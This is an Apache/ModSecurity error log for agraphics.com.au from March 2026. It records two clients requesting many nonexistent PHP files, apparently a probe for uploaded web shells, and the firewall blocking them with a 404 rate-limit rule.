[Mon Mar 02 01:51:25.480637 2026] [proxy_fcgi:error] [pid 26940:tid 26966] [client 20.63.44.70:63493] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 01:51:25.688608 2026] [:error] [pid 26940:tid 26956] [client 20.63.44.70:63493] [client 20.63.44.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaR8nRrUg-j5GLDtRFm4igAAAEw"]
[Mon Mar 02 01:51:26.513258 2026] [:error] [pid 53180:tid 53464] [client 20.63.44.70:63513] [client 20.63.44.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaR8njPPJpDOBvYnaa1baQAAAZQ"]
[Mon Mar 02 01:51:27.348119 2026] [:error] [pid 53585:tid 53607] [client 20.63.44.70:32574] [client 20.63.44.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaR8n3bCvYsvu6kKhM2nIAAAABM"]
[Mon Mar 02 01:51:28.187177 2026] [:error] [pid 26940:tid 26965] [client 20.63.44.70:63504] [client 20.63.44.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaR8oBrUg-j5GLDtRFm4lgAAAFU"]
[Mon Mar 02 02:15:04.241339 2026] [proxy_fcgi:error] [pid 53180:tid 53460] [client 20.220.232.240:44014] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:15:04.449723 2026] [proxy_fcgi:error] [pid 53180:tid 53451] [client 20.220.232.240:44014] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:15:04.658726 2026] [proxy_fcgi:error] [pid 53180:tid 53452] [client 20.220.232.240:44014] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:15:04.866759 2026] [proxy_fcgi:error] [pid 53180:tid 53450] [client 20.220.232.240:44014] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:15:05.076354 2026] [proxy_fcgi:error] [pid 53180:tid 53457] [client 20.220.232.240:44014] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:15:05.287439 2026] [proxy_fcgi:error] [pid 53180:tid 53468] [client 20.220.232.240:44014] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:15:05.496305 2026] [proxy_fcgi:error] [pid 53180:tid 53462] [client 20.220.232.240:44014] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:15:05.803188 2026] [proxy_fcgi:error] [pid 53180:tid 53447] [client 20.220.232.240:44014] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:15:06.027331 2026] [proxy_fcgi:error] [pid 53180:tid 53461] [client 20.220.232.240:44014] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:15:06.248144 2026] [proxy_fcgi:error] [pid 53180:tid 53446] [client 20.220.232.240:44014] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:15:06.477569 2026] [:error] [pid 53180:tid 53444] [client 20.220.232.240:44014] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "aaSCKjPPJpDOBvYnaa1lQAAAAYA"]
[Mon Mar 02 02:15:07.470345 2026] [:error] [pid 26940:tid 26946] [client 20.220.232.240:43923] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "aaSCKxrUg-j5GLDtRFnZNwAAAEI"]
[Mon Mar 02 02:15:08.471938 2026] [:error] [pid 26940:tid 26945] [client 20.220.232.240:43982] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "aaSCLBrUg-j5GLDtRFnZPQAAAEE"]
[Mon Mar 02 02:15:09.452168 2026] [:error] [pid 26940:tid 26954] [client 20.220.232.240:43908] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "aaSCLRrUg-j5GLDtRFnZSAAAAEo"]
[Mon Mar 02 02:15:10.549345 2026] [:error] [pid 53181:tid 53537] [client 20.220.232.240:44029] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/path.php"] [unique_id "aaSCLor_0T1SazTrJOBN4gAAARY"]
[Mon Mar 02 02:15:11.189809 2026] [:error] [pid 53585:tid 53602] [client 20.220.232.240:43998] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/path.php"] [unique_id "aaSCL3bCvYsvu6kKhM2_DQAAAA4"]
[Mon Mar 02 02:15:12.013149 2026] [:error] [pid 26940:tid 26944] [client 20.220.232.240:44031] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/path.php"] [unique_id "aaSCMBrUg-j5GLDtRFnZdAAAAEA"]
[Mon Mar 02 02:15:12.786143 2026] [:error] [pid 53585:tid 53589] [client 20.220.232.240:43994] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/path.php"] [unique_id "aaSCMHbCvYsvu6kKhM2_HQAAAAE"]
[Mon Mar 02 02:15:13.383174 2026] [:error] [pid 53585:tid 53590] [client 20.220.232.240:43984] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wdf.php"] [unique_id "aaSCMXbCvYsvu6kKhM2_IwAAAAI"]
[Mon Mar 02 02:15:14.199788 2026] [:error] [pid 26940:tid 26956] [client 20.220.232.240:43915] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wdf.php"] [unique_id "aaSCMhrUg-j5GLDtRFnZiQAAAEw"]
[Mon Mar 02 02:15:15.219920 2026] [:error] [pid 53585:tid 53603] [client 20.220.232.240:43917] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wdf.php"] [unique_id "aaSCM3bCvYsvu6kKhM2_KwAAAA8"]
[Mon Mar 02 02:15:15.684501 2026] [:error] [pid 53181:tid 53539] [client 20.220.232.240:43920] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wdf.php"] [unique_id "aaSCM4r_0T1SazTrJOBN6gAAARg"]
[Mon Mar 02 02:15:16.441536 2026] [:error] [pid 53180:tid 53447] [client 20.220.232.240:44005] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fleen.php"] [unique_id "aaSCNDPPJpDOBvYnaa1lSgAAAYM"]
[Mon Mar 02 02:15:17.041118 2026] [:error] [pid 53182:tid 53562] [client 20.220.232.240:43989] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fleen.php"] [unique_id "aaSCNfv073cA6eM1YCTlXwAAANI"]
[Mon Mar 02 02:15:17.616862 2026] [:error] [pid 53585:tid 53599] [client 20.220.232.240:43980] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fleen.php"] [unique_id "aaSCNXbCvYsvu6kKhM2_NAAAAAs"]
[Mon Mar 02 02:15:18.552500 2026] [:error] [pid 53182:tid 53553] [client 20.220.232.240:43905] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fleen.php"] [unique_id "aaSCNvv073cA6eM1YCTlZQAAAMo"]
[Mon Mar 02 02:15:19.206737 2026] [:error] [pid 26940:tid 26953] [client 20.220.232.240:43933] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tem.php"] [unique_id "aaSCNxrUg-j5GLDtRFnZowAAAEk"]
[Mon Mar 02 02:15:19.805045 2026] [:error] [pid 53585:tid 53604] [client 20.220.232.240:43979] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tem.php"] [unique_id "aaSCN3bCvYsvu6kKhM2_RAAAABA"]
[Mon Mar 02 02:15:20.637286 2026] [:error] [pid 53585:tid 53592] [client 20.220.232.240:43971] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tem.php"] [unique_id "aaSCOHbCvYsvu6kKhM2_TQAAAAQ"]
[Mon Mar 02 02:15:21.315554 2026] [:error] [pid 53181:tid 53522] [client 20.220.232.240:43926] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-tem.php"] [unique_id "aaSCOYr_0T1SazTrJOBN_AAAAQc"]
[Mon Mar 02 02:15:21.910438 2026] [:error] [pid 53180:tid 53454] [client 20.220.232.240:43972] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/avim.php"] [unique_id "aaSCOTPPJpDOBvYnaa1lVAAAAYo"]
[Mon Mar 02 02:15:22.590111 2026] [:error] [pid 26940:tid 26957] [client 20.220.232.240:43946] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/avim.php"] [unique_id "aaSCOhrUg-j5GLDtRFnZtAAAAE0"]
[Mon Mar 02 02:15:23.022529 2026] [:error] [pid 53585:tid 53601] [client 20.220.232.240:43918] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/avim.php"] [unique_id "aaSCO3bCvYsvu6kKhM2_VAAAAA0"]
[Mon Mar 02 02:15:23.580472 2026] [:error] [pid 53182:tid 53547] [client 20.220.232.240:43910] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/avim.php"] [unique_id "aaSCO_v073cA6eM1YCTlegAAAMQ"]
[Mon Mar 02 02:15:24.075090 2026] [:error] [pid 53182:tid 53555] [client 20.220.232.240:43958] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autogooey.php"] [unique_id "aaSCPPv073cA6eM1YCTlfgAAAMs"]
[Mon Mar 02 02:15:24.673507 2026] [:error] [pid 53180:tid 53466] [client 20.220.232.240:43911] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autogooey.php"] [unique_id "aaSCPDPPJpDOBvYnaa1lYQAAAZY"]
[Mon Mar 02 02:15:25.362424 2026] [:error] [pid 53585:tid 53605] [client 20.220.232.240:43986] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autogooey.php"] [unique_id "aaSCPXbCvYsvu6kKhM2_YgAAABE"]
[Mon Mar 02 02:15:25.927540 2026] [:error] [pid 26940:tid 26946] [client 20.220.232.240:44008] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autogooey.php"] [unique_id "aaSCPRrUg-j5GLDtRFnZugAAAEI"]
[Mon Mar 02 02:15:26.470497 2026] [:error] [pid 26940:tid 26944] [client 20.220.232.240:43904] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/btx25.php"] [unique_id "aaSCPhrUg-j5GLDtRFnZvgAAAEA"]
[Mon Mar 02 02:15:27.104302 2026] [:error] [pid 53180:tid 53464] [client 20.220.232.240:43919] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/btx25.php"] [unique_id "aaSCPzPPJpDOBvYnaa1lYwAAAZQ"]
[Mon Mar 02 02:15:27.810358 2026] [:error] [pid 53585:tid 53591] [client 20.220.232.240:43907] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/btx25.php"] [unique_id "aaSCP3bCvYsvu6kKhM2_egAAAAM"]
[Mon Mar 02 02:15:28.463445 2026] [:error] [pid 26940:tid 26946] [client 20.220.232.240:43987] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/btx25.php"] [unique_id "aaSCQBrUg-j5GLDtRFnZyAAAAEI"]
[Mon Mar 02 02:15:28.983199 2026] [:error] [pid 26940:tid 26959] [client 20.220.232.240:43997] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mga.php"] [unique_id "aaSCQBrUg-j5GLDtRFnZzwAAAE8"]
[Mon Mar 02 02:15:29.882345 2026] [:error] [pid 53585:tid 53606] [client 20.220.232.240:43914] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mga.php"] [unique_id "aaSCQXbCvYsvu6kKhM2_hwAAABI"]
[Mon Mar 02 02:15:30.554699 2026] [:error] [pid 26940:tid 26949] [client 20.220.232.240:44021] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mga.php"] [unique_id "aaSCQhrUg-j5GLDtRFnZ2AAAAEU"]
[Mon Mar 02 02:15:31.268741 2026] [:error] [pid 26940:tid 26954] [client 20.220.232.240:43995] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mga.php"] [unique_id "aaSCQxrUg-j5GLDtRFnZ2wAAAEo"]
[Mon Mar 02 02:15:32.250464 2026] [:error] [pid 26940:tid 26945] [client 20.220.232.240:43912] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maxro.php"] [unique_id "aaSCRBrUg-j5GLDtRFnZ5gAAAEE"]
[Mon Mar 02 02:15:33.402599 2026] [:error] [pid 53182:tid 53562] [client 20.220.232.240:44028] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maxro.php"] [unique_id "aaSCRfv073cA6eM1YCTllgAAANI"]
[Mon Mar 02 02:15:34.360720 2026] [:error] [pid 53182:tid 53563] [client 20.220.232.240:43846] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maxro.php"] [unique_id "aaSCRvv073cA6eM1YCTlmAAAANM"]
[Mon Mar 02 02:15:34.971320 2026] [:error] [pid 53182:tid 53566] [client 20.220.232.240:44001] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maxro.php"] [unique_id "aaSCRvv073cA6eM1YCTlngAAANY"]
[Mon Mar 02 02:15:35.840974 2026] [:error] [pid 26940:tid 26948] [client 20.220.232.240:43924] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/agg.php"] [unique_id "aaSCRxrUg-j5GLDtRFnZ_gAAAEQ"]
[Mon Mar 02 02:15:36.733478 2026] [:error] [pid 53180:tid 53466] [client 20.220.232.240:43892] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/agg.php"] [unique_id "aaSCSDPPJpDOBvYnaa1lbwAAAZY"]
[Mon Mar 02 02:15:37.308567 2026] [:error] [pid 53585:tid 53604] [client 20.220.232.240:43855] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/agg.php"] [unique_id "aaSCSXbCvYsvu6kKhM2_qgAAABA"]
[Mon Mar 02 02:15:38.212257 2026] [:error] [pid 26940:tid 26952] [client 20.220.232.240:44020] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/agg.php"] [unique_id "aaSCShrUg-j5GLDtRFnaEgAAAEg"]
[Mon Mar 02 02:15:39.083110 2026] [:error] [pid 53585:tid 53606] [client 20.220.232.240:43842] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass4.php"] [unique_id "aaSCS3bCvYsvu6kKhM2_sQAAABI"]
[Mon Mar 02 02:15:39.873147 2026] [:error] [pid 53182:tid 53561] [client 20.220.232.240:44016] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass4.php"] [unique_id "aaSCS_v073cA6eM1YCTlqgAAANE"]
[Mon Mar 02 02:15:40.492175 2026] [:error] [pid 26940:tid 26965] [client 20.220.232.240:44023] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass4.php"] [unique_id "aaSCTBrUg-j5GLDtRFnaKgAAAFU"]
[Mon Mar 02 02:15:41.291283 2026] [:error] [pid 26940:tid 26957] [client 20.220.232.240:43957] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass4.php"] [unique_id "aaSCTRrUg-j5GLDtRFnaNAAAAE0"]
[Mon Mar 02 02:15:42.158994 2026] [:error] [pid 53585:tid 53597] [client 20.220.232.240:44024] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsws.php"] [unique_id "aaSCTnbCvYsvu6kKhM2_uQAAAAk"]
